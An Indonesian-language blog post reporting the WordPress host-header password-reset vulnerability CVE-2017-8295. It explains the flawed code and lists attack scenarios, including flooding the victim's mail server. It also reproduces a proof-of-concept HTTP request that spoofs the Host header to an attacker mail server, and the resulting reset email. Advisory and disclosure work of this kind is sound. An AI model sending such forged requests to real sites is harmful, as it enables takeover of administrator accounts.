Kerentanan WordPress Unauthorized Password Reset [CVE-2017-8295] + Proof of Concept

11.56


Sebuah kerentanan dalam salah satu CMS populer di dunia, yakni WordPress, kali ini dipublikasikan oleh salah satu pakar keamanan. Kerentanan WordPress (CVE-2017-8295) ini juga ternyata mempengaruhi semua versi, termasuk versi terbarunya 4.7.4.
Kerentanan WordPress ini ditemukan oleh peneliti keamanan Polandia, Dawid Golunski dari Legal Hackers tahun lalu pada bulan Juli. Dan ia pun sebenarnya sudah melaporkan kerentanan ini ke tim keamanan WordPress.
Namun ternyata, tim yang berwenang tersebut memutuskan untuk mengabaikan masalah ini. Sehingga saat ini, jutaan situs web yang menggunakan CMS tersebut mempunyai resiko atas kerentanan ini.
Golunski adalah peneliti yang sama yang menemukan kerentanan kritis di library salah satu project open-source populer, yaitu PHPMailer.
Kerentanan ini terletak pada cara WordPress memproses permintaan reset kata sandi untuk pengguna.

Secara umum, ketika pengguna meminta untuk menyetel ulang kata sandinya melalui opsi lupa kata sandi, WordPress segera menghasilkan kode rahasia yang unik dan mengirimkannya ke ID email pengguna yang sudah tersimpan di database.

Kerentanan WordPress Apa Ini?

 ------[ wp-includes/pluggable.php ]------

...

if ( !isset( $from_email ) ) {
        // Get the site domain and get rid of www.
        $sitename = strtolower( $_SERVER['SERVER_NAME'] );
        if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                $sitename = substr( $sitename, 4 );
        }

        $from_email = 'wordpress@' . $sitename;
}

...

-----------------------------------------


Saat mengirim email ini, WordPress menggunakan variabel bernama SERVER_NAME agar mendapatkan nama host server untuk menetapkan nilai dari bidang From/Return-Path.
Di sini, “From” mengacu pada alamat email pengirim dan “Return-Path” mengacu pada alamat email di mana email ‘bounce-back’ harus dikirimkan jika terjadi kegagalan dalam pengiriman karena alasan tertentu.
Menurut Golunski, penyerang dapat mengirim permintaan HTTP palsu dengan hostname value standar yang telah ditetapkan (misalnya attacker-mxserver.com), saat memulai proses reset kata sandi untuk user admin yang ditargetkan.
Karena nama host dalam permintaan HTTP berbahaya adalah domain yang dikendalikan oleh penyerang, bidang From and Return-Path di email reset kata sandi akan dimodifikasi untuk menyertakan ID email yang terkait dengan domain penyerang, yaitu wordpress@attacker-mxserver.com, Bukan wordpress@victim-domain.com.
Karena header HOST yang dimodifikasi, SERVER_NAME akan diset ke nama host pilihan penyerang. Akibatnya, WordPress akan melewati header dan body email berikut ke wrapper /usr/bin/sendmail,” kata Golunski.
Kamu harus mencatat bahwa email penyetelan ulang kata sandi akan dikirim ke alamat email korban saja, namun karena bidang From and Return-Path sekarang mengarah ke ID email penyerang, penyerang juga dapat menerima kode reset berdasarkan skenario berikut:
  1. Jika dalam kasus ini korban membalas email tersebut, email tersebut akan dikirim ke ID email penyerang (yang disebutkan dalam bidang ‘From’), yang berisi tautan setel ulang kata sandi dalam riwayat pesan.
  2. Jika, untuk beberapa kasus, server email korban sedang down, email reset password akan secara otomatis bounce-back ke alamat email yang disebutkan di bidang “Return-Path”, yang menunjuk ke kotak masuk penyerang.
  3. Dalam skenario lain, untuk secara paksa mengambil email bounce-back, penyerang dapat melakukan serangan DDoS terhadap server email korban atau mengirim sejumlah besar email, sehingga akun email korban tidak dapat lagi menerima email apapun.
Untuk alasan yang jelas, ini bukan metode penyerangan yang pasti, namun dalam kasus serangan yang ditargetkan, peretas handal akan berhasil memanfaatkan kelemahan ini dengan sukses.
Fakta penting lainnya tentang eksploitasi kerentanan ini, walaupun situs WordPress nya rentan, tidak semua server web mengizinkan penyerang untuk mengubah nama host melalui header SERVER_NAME loh, termasuk WordPress yang di host dalam share server manapun.
Header server SERVER_NAME dapat dimanipulasi pada konfigurasi default server Web Apache (deployment WordPress yang paling umum) melalui header HOST dari permintaan HTTP,” kata Golunski.

Proof of Concept

  • Discovered by: Dawid Golunski
  • dawid[at]legalhackers.com
  • https://legalhackers.com
  • ExploitBox.io (@Exploit_Box)
  • CVE-2017-8295
  • Release date: 03.05.2017
  • Last update: 04.05.2017
  • Severity: Medium/High
Jika penyerang mengirimkan permintaan mirip dengan yang ada di bawah ini ke instalasi WordPress default yang dapat diakses oleh alamat IP (IP-based vhost):

-----[ HTTP Request ]----

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

------------------------


WordPress akan memicu fungsi reset password untuk akun pengguna admin.
Karena header HOST yang dimodifikasi, SERVER_NAME akan disetel ke nama host pilihan penyerang. Akibatnya, WordPress akan pass header dan body email berikut ke wrapper /usr/bin/sendmail:

------[ resulting e-mail ]-----

Subject: [CompanyX WP] Password Reset
Return-Path: <wordpress@attackers-mxserver.com>
From: WordPress <wordpress@attackers-mxserver.com>
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit


Seseorang meminta agar password direset untuk akun berikut:

http://companyX-wp/wp/wordpress/

Username: admin


Jika ini salah, abaikan saja email ini dan tidak akan terjadi apa-apa.
Untuk mereset kata sandi Anda, kunjungi alamat berikut ini:

<http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin>

-------------------------------


Seperti yang bisa kita lihat, field Return-Path, From, dan Message-ID, semuanya di set menjadi domain penyerang.
Verifikasi header dapat dilakukan dengan mengganti /usr/sbin/sendmail dengan script bash dari:

#!/bin/bash
cat > /tmp/outgoing-email


Sampai artikel ini dipublish, belum ada patch resmi yang tersedia untuk kerentanan WordPress ini. Sebagai solusi sementara, untuk kamu yang juga menggunakan CMS WordPress, dapat mengaktifkan UseCanonicalName untuk menerapkan nilai SERVER_NAME statis.

Share this :

Previous
Next Post »
0 Komentar

Penulisan markup di komentar
  • Silakan tinggalkan komentar sesuai topik. Komentar yang menyertakan link aktif, iklan, atau sejenisnya akan dihapus.
  • Untuk menyisipkan kode gunakan <i rel="code"> kode yang akan disisipkan </i>
  • Untuk menyisipkan kode panjang gunakan <i rel="pre"> kode yang akan disisipkan </i>
  • Untuk menyisipkan quote gunakan <i rel="quote"> catatan anda </i>
  • Untuk menyisipkan gambar gunakan <i rel="image"> URL gambar </i>
  • Untuk menyisipkan video gunakan [iframe] URL embed video [/iframe]
  • Kemudian parse kode tersebut pada kotak di bawah ini
  • © 2015 Simple SEO ✔